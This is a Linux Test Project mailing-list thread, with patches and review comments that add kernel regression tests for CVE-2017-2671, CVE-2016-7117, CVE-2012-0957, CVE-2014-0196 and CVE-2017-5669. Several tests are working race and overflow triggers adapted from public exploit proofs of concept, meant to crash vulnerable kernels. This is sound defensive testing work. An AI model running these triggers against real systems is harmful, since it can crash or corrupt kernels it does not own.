
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/cve                   |   1 +
 testcases/cve/.gitignore      |   1 +
 testcases/cve/Makefile        |   1 +
 testcases/cve/cve-2017-2671.c | 123 ++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 126 insertions(+)
 create mode 100644 testcases/cve/cve-2017-2671.c

diff --git a/runtest/cve b/runtest/cve
index 359958ca9..5958d6c39 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -4,6 +4,7 @@ cve-2014-0196 cve-2014-0196
 cve-2016-4997 cve-2016-4997
 cve-2016-5195 dirtyc0w
 cve-2016-7117 cve-2016-7117
+cve-2017-2671 cve-2017-2671
 cve-2017-5669 cve-2017-5669
 cve-2017-6951 cve-2017-6951
 cve-2017-7277 cve-2017-7277
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 516ea62a5..376964266 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -2,6 +2,7 @@ cve-2012-0957
 cve-2014-0196
 cve-2016-4997
 cve-2016-7117
+cve-2017-2671
 cve-2017-5669
 cve-2017-6951
 cve-2017-7277
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index d642b73b4..e9d9044d5 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -21,5 +21,6 @@ CFLAGS			+= -D_GNU_SOURCE
 
 cve-2014-0196:	LDFLAGS += -lpthread -lutil -lrt
 cve-2016-7117:	LDFLAGS += -lpthread -lrt
+cve-2017-2671:	LDFLAGS += -lpthread -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c
new file mode 100644
index 000000000..e76a87fd5
--- /dev/null
+++ b/testcases/cve/cve-2017-2671.c
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Original POC by Daniel Jiang
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2017-2671 faulty locking on ping socket
+ *
+ * When sys_connect() is called with sockaddr.sin_family set to AF_UNSPEC on a
+ * ping socket; __udp_disconnect() gets called, which in turn calls the buggy
+ * function ping_unhashed(). This function does not obtain a rwlock before
+ * checking if the socket is hashed allowing the socket data to be pulled from
+ * underneath it in the time between calling sk_hashed() and gaining the write
+ * lock.
+ *
+ * Fixed in commit 43a6684519ab0a6c52024b5e25322476cabad893
+ *
+ * This test repeatedly 'connects' a ping socket correctly then calls
+ * connect() with AF_UNSPEC in two seperate threads to trigger the race
+ * condition. If the bug is present, then the test will most likely crash the
+ * system.
+ *
+ * The test requests root privileges so that it can ensure ping sockets are
+ * enabled. On distributions (including Android) where ping sockets are
+ * enabled by default, root privileges are not required.
+ */
+
+#include <stdio.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+
+#include "tst_fuzzy_sync.h"
+
+#define ATTEMPTS 0xFFFF
+#define PING_SYSCTL_PATH "/proc/sys/net/ipv4/ping_group_range"
+
+static int sockfd;
+static unsigned int ping_min_grp = 1, ping_max_grp;
+static struct tst_fzsync_pair fzsync_pair = {
+	.delay_inc = 1,
+};
+static struct sockaddr_in iaddr, uaddr;
+
+static void setup(void)
+{
+	iaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	uaddr = iaddr;
+	iaddr.sin_family = AF_INET;
+	uaddr.sin_family = AF_UNSPEC;
+	tst_fzsync_pair_init(&fzsync_pair);
+
+	SAFE_FILE_SCANF(PING_SYSCTL_PATH, "%u %u",
+			&ping_min_grp, &ping_max_grp);
+	SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "0 0");
+}
+
+static void cleanup(void)
+{
+	if (ping_min_grp | ping_max_grp)
+		SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "%u %u",
+				 ping_min_grp, ping_max_grp);
+}
+
+static void *connect_b(void * param LTP_ATTRIBUTE_UNUSED)
+{
+	tst_fzsync_delay_b(&fzsync_pair);
+	connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
+	tst_fzsync_time_b(&fzsync_pair);
+
+	return 0;
+}
+
+static void run(void)
+{
+	pthread_t thrd;
+	int i;
+
+	sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
+	tst_res(TINFO, "Created ping socket, attempting to race...");
+
+	for (i = 0; i < ATTEMPTS; i++) {
+		SAFE_CONNECT(sockfd,
+			     (struct sockaddr *)&iaddr, sizeof(iaddr));
+		SAFE_PTHREAD_CREATE(&thrd, 0, connect_b, 0);
+
+		tst_fzsync_delay_a(&fzsync_pair);
+		connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
+		tst_fzsync_time_a(&fzsync_pair);
+
+		SAFE_PTHREAD_JOIN(thrd, 0);
+		tst_fzsync_pair_update(i, &fzsync_pair);
+
+		if (!(i & 0x7FFF))
+			tst_fzsync_pair_info(&fzsync_pair);
+	}
+
+	tst_res(TPASS, "We didn't crash");
+}
+
+static struct tst_test test = {
+	.tid = "cve-2017-2671",
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_root = 1,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path
  2017-05-22 12:13 ` [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
@ 2017-05-26 14:51   ` Cyril Hrubis
  0 siblings, 0 replies; 19+ messages in thread
From: Cyril Hrubis @ 2017-05-26 14:51 UTC (permalink / raw)
  To: ltp

On Mon, May 22, 2017 at 02:13:33PM +0200, Richard Palethorpe wrote:
> Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
> ---
>  configure.ac                  |   1 +
>  m4/ltp-mmsghdr.m4             |  22 ++++++
>  testcases/cve/cve-2016-7117.c | 165 ++++++++++++++++++++++++++++++++++++++++++
>  3 files changed, 188 insertions(+)
>  create mode 100644 m4/ltp-mmsghdr.m4
>  create mode 100644 testcases/cve/cve-2016-7117.c
> 
> diff --git a/configure.ac b/configure.ac
> index ecc9a2699..ddfc683a3 100644
> --- a/configure.ac
> +++ b/configure.ac
> @@ -189,5 +189,6 @@ LTP_CHECK_EPOLL_PWAIT
>  LTP_CHECK_KEYUTILS_SUPPORT
>  LTP_CHECK_SYNC_ADD_AND_FETCH
>  LTP_CHECK_BUILTIN_CLEAR_CACHE
> +LTP_CHECK_MMSGHDR
>  
>  AC_OUTPUT
> diff --git a/m4/ltp-mmsghdr.m4 b/m4/ltp-mmsghdr.m4
> new file mode 100644
> index 000000000..05522180e
> --- /dev/null
> +++ b/m4/ltp-mmsghdr.m4
> @@ -0,0 +1,22 @@
> +dnl Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
> +dnl
> +dnl This program is free software;  you can redistribute it and/or modify
> +dnl it under the terms of the GNU General Public License as published by
> +dnl the Free Software Foundation; either version 2 of the License, or
> +dnl (at your option) any later version.
> +dnl
> +dnl This program is distributed in the hope that it will be useful,
> +dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
> +dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
> +dnl the GNU General Public License for more details.
> +dnl
> +dnl You should have received a copy of the GNU General Public License
> +dnl along with this program. If not, see <http://www.gnu.org/licenses/>.
> +
> +AC_DEFUN([LTP_CHECK_MMSGHDR],[
> +AC_CHECK_TYPES([struct mmsghdr],,,[
> +#define _GNU_SOURCE
> +#include <sys/types.h>
> +#include <sys/socket.h>
> +])
> +])
> diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
> new file mode 100644
> index 000000000..721e31a45
> --- /dev/null
> +++ b/testcases/cve/cve-2016-7117.c
> @@ -0,0 +1,165 @@
> +/*
> + * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
> + *
> + * This program is free software: you can redistribute it and/or modify
> + * it under the terms of the GNU General Public License as published by
> + * the Free Software Foundation, either version 2 of the License, or
> + * (at your option) any later version.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> + * GNU General Public License for more details.
> + *
> + * You should have received a copy of the GNU General Public License
> + * along with this program. If not, see <http://www.gnu.org/licenses/>.
> + */
> +/*
> + * CVE-2016-7117
> + *
> + * This tests for a use after free caused by a race between recvmmsg() and
> + * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce
> + * recvmmsg socket syscall) called fput() on the active file descriptor before
> + * checking the error state and setting the socket's error field.
> + *
> + * If one or more messages are received by recvmmsg() followed by one which
> + * fails, the socket's error field will be set. If just after recvmmsg() calls
> + * fput(), a call to close() is made on the same file descriptor there is a
> + * race between close() releasing the socket object and recvmmsg() setting its
> + * error field.
> + *
> + * fput() does not release a file descriptor's resources (e.g. a socket)
> + * immediatly, it queues them to be released just before a system call returns
> + * to user land. So the close() system call must call fput() after it is
> + * called in recvmmsg(), exit and release the resources all before the socket
> + * error is set.
> + *
> + * Usually if the vulnerability is present the test will be killed with a
> + * kernel null pointer exception. However this is not guaranteed to happen
> + * every time.
> + *
> + * The following was used for reference
> + * https://blog.lizzie.io/notes-about-cve-2016-7117.html
> + */
> +

Shouldn't we define _GNU_SOURCE here as well? We do that in the m4
check...

> +#include <sys/wait.h>
> +#include <sys/types.h>
> +#include <sys/socket.h>
> +#include <sys/syscall.h>
> +#include <stdlib.h>
> +#include <errno.h>
> +
> +#include "tst_test.h"
> +#include "tst_safe_net.h"
> +#include "tst_safe_pthread.h"
> +#include "tst_timer.h"
> +#include "tst_fuzzy_sync.h"
> +
> +/* The bug was present in the kernel before recvmmsg was exposed by glibc */
> +#include "linux_syscall_numbers.h"
> +
> +#define MSG "abcdefghijklmnop"
> +#define RECV_TIMEOUT 1
> +#define ATTEMPTS 0x1FFFFF
> +
> +#ifndef HAVE_STRUCT_MMSGHDR
> +struct mmsghdr {
> +	struct msghdr msg_hdr;
> +	unsigned int msg_len;
> +};
> +#endif
> +
> +static int socket_fds[2];
> +static struct mmsghdr msghdrs[2] = {
> +	{
> +		.msg_hdr = {
> +			.msg_iov = &(struct iovec) {
> +				.iov_len = sizeof(MSG),
> +			},
> +			.msg_iovlen = 1
> +		}
> +	},
> +	{
> +		.msg_hdr = {
> +			.msg_iov = &(struct iovec) {
> +				.iov_base = (void *)(0xbadadd),
> +				.iov_len = ~0,
> +			},
> +			.msg_iovlen = 1
> +		}
> +	}
> +};
> +static char rbuf[sizeof(MSG)];
> +static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
> +static struct tst_fzsync_pair fzsync_pair;
> +
> +static void setup(void)
> +{
> +	tst_fzsync_pair_init(&fzsync_pair);
> +}

Just a minor note, we can initialize the fzsync_pair statically
something as:

#define TST_FZSYNC_INITIALIZER { \
	.avg_alpha = 0.25,       \
	.delay_inc = 10,         \
	.update_gap = 0xF        \
}

Then do:

static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_INITIALIZER;

Otherwise this test and the library both looks fine.

-- 
Cyril Hrubis
chrubis@suse.cz

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957
  2017-05-22 12:13 ` [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
@ 2017-05-26 19:20   ` Cyril Hrubis
  0 siblings, 0 replies; 19+ messages in thread
From: Cyril Hrubis @ 2017-05-26 19:20 UTC (permalink / raw)
  To: ltp

Hi!
> +static void try_leak_bytes(void)
> +{
> +	struct utsname buf;
> +
> +	if (uname(&buf))
> +		tst_brk(TBROK | TERRNO, "Call to uname failed");
> +
> +#define CHECK_FIELD(field_name) \
> +	(check_field(buf.field_name, ARRAY_SIZE(buf.field_name), #field_name))
> +
> +	if (!(CHECK_FIELD(release) |
> +	    CHECK_FIELD(sysname) |
> +	    CHECK_FIELD(nodename) |
> +	    CHECK_FIELD(version) |
> +	    CHECK_FIELD(machine) |
> +#ifdef _GNU_SOURCE
> +	    CHECK_FIELD(domainname) |
> +#endif

The _GNU_SOURCE does not get defined automatically, unless you include a
header defines it. So I guess that we should better do a configure check
if the field is present when _GNU_SOURCE is defined. Define _GNU_SOURCE
at the start of this file and ifdef around macro that has been defined
by the configure script here. Or we can simply avoid checking the
domainname, since I guess that all the fields are filled with the same
function anyway.

> +		    0)) {
> +		tst_res(TPASS, "All fields zeroed after string terminator");
> +	}
> +#undef CHECK_FIELD
> +}
> +
> +static void run(unsigned int test_nr)
> +{
> +	if (!test_nr) {
> +		tst_res(TINFO, "Calling uname with default personality");
> +		try_leak_bytes();
> +	} else {
> +		if (personality(PER_LINUX | UNAME26) < 0)
> +			tst_brk(TCONF | TERRNO,
> +				"Could not change personality to UNAME26");
> +		tst_res(TINFO, "Calling uname with UNAME26 personality");
> +		try_leak_bytes();
> +	}
> +}
> +
> +static struct tst_test test = {
> +	.tid = "cve-2012-0957",
> +	.test = run,
> +	.tcnt = 2,
> +};
> -- 
> 2.12.2
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Cyril Hrubis
chrubis@suse.cz

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files
  2017-05-22 12:13 ` [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
@ 2017-05-26 19:33   ` Cyril Hrubis
  2017-05-29  8:44     ` Richard Palethorpe
  0 siblings, 1 reply; 19+ messages in thread
From: Cyril Hrubis @ 2017-05-26 19:33 UTC (permalink / raw)
  To: ltp

Hi!
> +++ b/testcases/cve/Makefile
> @@ -0,0 +1,25 @@
> +# Copyright (c) 2017 Linux Test Project
> +#
> +# This program is free software; you can redistribute it and/or
> +# modify it under the terms of the GNU General Public License as
> +# published by the Free Software Foundation; either version 2 of
> +# the License, or (at your option) any later version.
> +#
> +# This program is distributed in the hope that it would be useful,
> +# but WITHOUT ANY WARRANTY; without even the implied warranty of
> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> +# GNU General Public License for more details.
> +#
> +# You should have received a copy of the GNU General Public License
> +# along with this program. If not, see <http://www.gnu.org/licenses/>.
> +
> +top_srcdir		?= ../..
> +
> +include $(top_srcdir)/include/mk/testcases.mk
> +
> +CFLAGS			+= -D_GNU_SOURCE

Ah, you define _GNU_SOURCE here for all the tests. That should be fine,
but we should still check if the domainname field is present if
_GNU_SOURCE is defined, otherwise it may fail with alternative glibc (we
have at least three these days).

> +cve-2014-0196:	LDFLAGS += -lpthread -lutil -lrt

Here you are adding LDFLAGS for test that does not exist yet, but at
least that should not break anything.

BTW what is the -lutil needed for?

> +cve-2016-7117:	LDFLAGS += -lpthread -lrt
> +
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> -- 
> 2.12.2
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Cyril Hrubis
chrubis@suse.cz

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race
  2017-05-22 12:13 ` [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
@ 2017-05-26 19:41   ` Cyril Hrubis
  0 siblings, 0 replies; 19+ messages in thread
From: Cyril Hrubis @ 2017-05-26 19:41 UTC (permalink / raw)
  To: ltp

Hi!
> +/*
> + * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
> + * Original POC by Matthew Daley <mattd@bugfuzz.com>
> + *
> + * This program is free software: you can redistribute it and/or modify
> + * it under the terms of the GNU General Public License as published by
> + * the Free Software Foundation, either version 2 of the License, or
> + * (at your option) any later version.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> + * GNU General Public License for more details.
> + *
> + * You should have received a copy of the GNU General Public License
> + * along with this program. If not, see <http://www.gnu.org/licenses/>.
> + */
> +/*
> + * This test attempts to cause a buffer overflow using the race condition
> + * described in CVE-2014-0196. If the test is successful in causing an
> + * overflow it will most likely result in an immediate Oops, restart or
> + * freeze. However if it overwrites memory not accessed during the test then
> + * it could happen at a later time or not at all which is more likely if SLAB
> + * randomization has been implemented. However as it currently stands, the test
> + * usually crashes as soon as the delay has been calibrated.
> + *
> + * To maximise the chances of the buffer overflow doing immediate detectable
> + * damage the SLAB filler sockets and ioctls from the original exploit POC
> + * have been kept even though they are not strictly necessary to reproduce the
> + * bug.
> + *
> + * Further details:
> + * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
> + * privilege escalation POC https://www.exploit-db.com/exploits/33516/
> + */
> +
> +#include <pty.h>
> +#include <stdio.h>
> +#include <string.h>
> +#include <termios.h>
> +#include <limits.h>
> +
> +#include "tst_test.h"
> +#include "tst_timer.h"
> +#include "tst_safe_pthread.h"
> +
> +#include "tst_fuzzy_sync.h"
> +
> +#define ONEOFF_ALLOCS 200
> +#define RUN_ALLOCS    30
> +#define ATTEMPTS      0x7000
> +#define BUFLEN        512
> +
> +static int master_fd, slave_fd;
> +static int filler_ptys[ONEOFF_ALLOCS * 2];
> +static int target_ptys[RUN_ALLOCS * 2];
> +static char buf[BUFLEN];
> +
> +static struct tst_fzsync_pair fzsync_pair = {
> +	.delay_inc = 100,
> +};
> +
> +static void create_pty(int *amaster, int *aslave)
> +{
> +	if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
> +		tst_brk(TBROK | TERRNO, "pty creation failed");
> +}
> +
> +static void setup(void)
> +{
> +	int i;
> +
> +	tst_fzsync_pair_init(&fzsync_pair);

I find this mildly confusing, I would expected the strucutre to be
initialized with a default values, then override the delay increment,
not the other way around.

> +	for (i = 0; i < ONEOFF_ALLOCS; i++)
> +		create_pty(&filler_ptys[i],
> +			   &filler_ptys[i + ONEOFF_ALLOCS]);

The LKML conding style prefers to add curly braces here if the statement
overflows more than one line, but that is very minor.

> +}
> +
> +static void *overwrite_thread_fn(void *p)
> +{
> +	tst_fzsync_delay_b(&fzsync_pair);
> +	tst_fzsync_time_b(&fzsync_pair);
> +
> +	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
> +	SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
> +	SAFE_WRITE(0, slave_fd, buf, BUFLEN);
> +
> +	return p;
> +}
> +
> +static void run(void)
> +{
> +	struct termios t;
> +	pthread_t overwrite_thread;
> +	int i, j;
> +
> +	tst_res(TINFO, "Attempting to overflow into a tty_struct...");
> +
> +	for (i = 0; i < ATTEMPTS; i++) {
> +		create_pty(&master_fd, &slave_fd);
> +
> +		for (j = 0; j < RUN_ALLOCS; j++)
> +			create_pty(&target_ptys[j],
> +				   &target_ptys[j + RUN_ALLOCS]);
> +		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
> +		SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
> +
> +		SAFE_WRITE(0, slave_fd, buf, 1);
> +
> +		tcgetattr(master_fd, &t);
> +		t.c_oflag &= ~OPOST;
> +		t.c_lflag |= ECHO;
> +		tcsetattr(master_fd, TCSANOW, &t);
> +
> +		SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
> +				    overwrite_thread_fn, NULL);
> +
> +		tst_fzsync_delay_a(&fzsync_pair);
> +		tst_fzsync_time_a(&fzsync_pair);
> +		SAFE_WRITE(0, master_fd, "A", 1);
> +
> +		SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
> +
> +		tst_fzsync_pair_update(i, &fzsync_pair);
> +
> +		if (!(i & 0x1FFF))
> +			tst_fzsync_pair_info(&fzsync_pair);
> +
> +		for (j = 0; j < RUN_ALLOCS; j++) {
> +			if (j == RUN_ALLOCS / 2)
> +				continue;
> +
> +			ioctl(target_ptys[j], 0xdeadbeef);
> +			ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
> +			SAFE_CLOSE(target_ptys[j]);
> +			SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
> +		}
> +
> +		ioctl(master_fd, 0xdeadbeef);
> +		ioctl(slave_fd, 0xdeadbeef);
> +		SAFE_CLOSE(master_fd);
> +		SAFE_CLOSE(slave_fd);
> +	}
> +
> +	tst_res(TPASS, "Nothing bad happened, probably.");

I like the "probably" in the message :-)

> +}
> +
> +static void cleanup(void)
> +{
> +	int i;
> +
> +	for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
> +		close(filler_ptys[i]);
> +	close(master_fd);
> +	close(slave_fd);
> +}
> +
> +static struct tst_test test = {
> +	.tid = "cve-2014-0196",
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.test_all = run,
> +};
> -- 
> 2.12.2
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Cyril Hrubis
chrubis@suse.cz

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat
  2017-05-22 12:13 ` [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
@ 2017-05-26 19:56   ` Cyril Hrubis
  2017-05-29  8:56     ` Richard Palethorpe
  0 siblings, 1 reply; 19+ messages in thread
From: Cyril Hrubis @ 2017-05-26 19:56 UTC (permalink / raw)
  To: ltp

Hi!
> Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
> ---
>  runtest/cve                   |  2 +
>  runtest/syscalls              |  1 +
>  testcases/cve/.gitignore      |  1 +
>  testcases/cve/cve-2017-5669.c | 90 +++++++++++++++++++++++++++++++++++++++++++
>  4 files changed, 94 insertions(+)
>  create mode 100644 testcases/cve/cve-2017-5669.c
> 
> diff --git a/runtest/cve b/runtest/cve
> index 6556ffb0f..ee0614a9c 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -4,3 +4,5 @@ cve-2014-0196 cve-2014-0196
>  cve-2016-4997 cve-2016-4997
>  cve-2016-5195 dirtyc0w
>  cve-2016-7117 cve-2016-7117
> +cve-2017-5669 cve-2017-5669
> +cve-2017-6951 cve-2017-6951

Here you are adding test out of order again...

> diff --git a/runtest/syscalls b/runtest/syscalls
> index e72ed0166..0f3c45ada 100644
> --- a/runtest/syscalls
> +++ b/runtest/syscalls
> @@ -1164,6 +1164,7 @@ setxattr03 setxattr03
>  shmat01 shmat01
>  shmat02 shmat02
>  shmat03 shmat03
> +cve-2017-5669 cve-2017-5669
>  
>  shmctl01 shmctl01
>  shmctl02 shmctl02
> diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
> index ff5844263..715cbab38 100644
> --- a/testcases/cve/.gitignore
> +++ b/testcases/cve/.gitignore
> @@ -2,3 +2,4 @@ cve-2012-0957
>  cve-2014-0196
>  cve-2016-4997
>  cve-2016-7117
> +cve-2017-5669
> diff --git a/testcases/cve/cve-2017-5669.c b/testcases/cve/cve-2017-5669.c
> new file mode 100644
> index 000000000..a2ad7f8e3
> --- /dev/null
> +++ b/testcases/cve/cve-2017-5669.c
> @@ -0,0 +1,90 @@
> +/*
> + * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
> + *
> + * This program is free software: you can redistribute it and/or modify
> + * it under the terms of the GNU General Public License as published by
> + * the Free Software Foundation, either version 2 of the License, or
> + * (at your option) any later version.
> + *
> + * This program is distributed in the hope that it will be useful,
> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> + * GNU General Public License for more details.
> + *
> + * You should have received a copy of the GNU General Public License
> + * along with this program. If not, see <http://www.gnu.org/licenses/>.
> + */
> +/*
> + * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
> + *
> + * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
> + * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
> + * in place, shmat it will return EINVAL instead. We also check to see if the
> + * returned address is outside the nil page in case an alternative fix has
> + * been applied.
> + *
> + * In any case we manage to map some memory we also try to write to it. This
> + * is just to see if we get an access error or some other unexpected behaviour.
> + *
> + * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
> + */
> +#include <sys/types.h>
> +#include <sys/ipc.h>
> +#include <sys/shm.h>
> +
> +#include <stdio.h>
> +#include <errno.h>
> +#include <string.h>
> +
> +#include "tst_test.h"
> +
> +static int shm_id;
> +static void *shm_addr;
> +
> +static void cleanup(void)
> +{
> +	if (shm_addr && shmdt(shm_addr) == -1)
> +		tst_res(TWARN | TERRNO, "shmdt(shm_addr) == -1");
> +	shm_addr = 0;
> +
> +	if (shm_id && shmctl(shm_id, IPC_RMID, 0) == -1)
> +		tst_res(TWARN | TERRNO, "shmctl(shm_id) == -1");
> +	shm_id = 0;
> +}
> +
> +static void run(void)
> +{
> +	shm_id = shmget(IPC_PRIVATE, getpagesize(), 0777);
> +	if (shm_id == -1)
> +		tst_brk(TBROK | TERRNO,
> +			"shmget(shm_key, PAGE_SIZE, IPC_CREATE | 0777) = -1");
> +
> +	tst_res(TINFO, "Attempting to attach shared memory to null page");
> +	shm_addr = shmat(shm_id, ((void *)1), SHM_RND);
> +	if (shm_addr == (void *)-1) {
> +		if (errno == EINVAL) {
> +			tst_res(TPASS, "shmat returned EINVAL");
> +			shm_addr = 0;
> +			return;
> +		}
> +		tst_brk(TBROK | TERRNO,
> +			"The bug was not triggered, but the shmat error is unexpected");
> +	}
> +
> +	tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
> +
> +	if (!((size_t)shm_addr & (~0U << 16)))
> +		tst_res(TFAIL,
> +			"We have mapped a VM address within the first 64Kb");
> +	else
> +		tst_res(TPASS,
> +			"The kernel assigned a different VM address");
> +
> +	((char *)shm_addr)[0] = 'P';
> +}
> +
> +static struct tst_test test = {
> +	.tid = "cve-2017-5669",
> +	.cleanup = cleanup,
> +	.test_all = run,
> +};

There is a patch that adds sysv shm related function as safe macros on
ML. I will merge it probably next week. Can you please make use of these
macros in this test as well?

-- 
Cyril Hrubis
chrubis@suse.cz

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files
  2017-05-26 19:33   ` Cyril Hrubis
@ 2017-05-29  8:44     ` Richard Palethorpe
  0 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-29  8:44 UTC (permalink / raw)
  To: ltp

Hi,

Cyril Hrubis writes:

> Hi!
>> +++ b/testcases/cve/Makefile
>> @@ -0,0 +1,25 @@
>> +# Copyright (c) 2017 Linux Test Project
>> +#
>> +# This program is free software; you can redistribute it and/or
>> +# modify it under the terms of the GNU General Public License as
>> +# published by the Free Software Foundation; either version 2 of
>> +# the License, or (at your option) any later version.
>> +#
>> +# This program is distributed in the hope that it would be useful,
>> +# but WITHOUT ANY WARRANTY; without even the implied warranty of
>> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
>> +# GNU General Public License for more details.
>> +#
>> +# You should have received a copy of the GNU General Public License
>> +# along with this program. If not, see <http://www.gnu.org/licenses/>.
>> +
>> +top_srcdir		?= ../..
>> +
>> +include $(top_srcdir)/include/mk/testcases.mk
>> +
>> +CFLAGS			+= -D_GNU_SOURCE
>
> Ah, you define _GNU_SOURCE here for all the tests. That should be fine,
> but we should still check if the domainname field is present if
> _GNU_SOURCE is defined, otherwise it may fail with alternative glibc (we
> have at least three these days).

Ok, I will check for the struct field explicitly. 

>
>> +cve-2014-0196:	LDFLAGS += -lpthread -lutil -lrt
>
> Here you are adding LDFLAGS for test that does not exist yet, but at
> least that should not break anything.
>
> BTW what is the -lutil needed for?

At least openpty on older systems.

-- 
Thank you,
Richard.

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat
  2017-05-26 19:56   ` Cyril Hrubis
@ 2017-05-29  8:56     ` Richard Palethorpe
  0 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-29  8:56 UTC (permalink / raw)
  To: ltp

Hi,

Cyril Hrubis writes:

> Hi!
>> Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
>> ---
>>  runtest/cve                   |  2 +
>>  runtest/syscalls              |  1 +
>>  testcases/cve/.gitignore      |  1 +
>>  testcases/cve/cve-2017-5669.c | 90 +++++++++++++++++++++++++++++++++++++++++++
>>  4 files changed, 94 insertions(+)
>>  create mode 100644 testcases/cve/cve-2017-5669.c
>> 
>> diff --git a/runtest/cve b/runtest/cve
>> index 6556ffb0f..ee0614a9c 100644
>> --- a/runtest/cve
>> +++ b/runtest/cve
>> @@ -4,3 +4,5 @@ cve-2014-0196 cve-2014-0196
>>  cve-2016-4997 cve-2016-4997
>>  cve-2016-5195 dirtyc0w
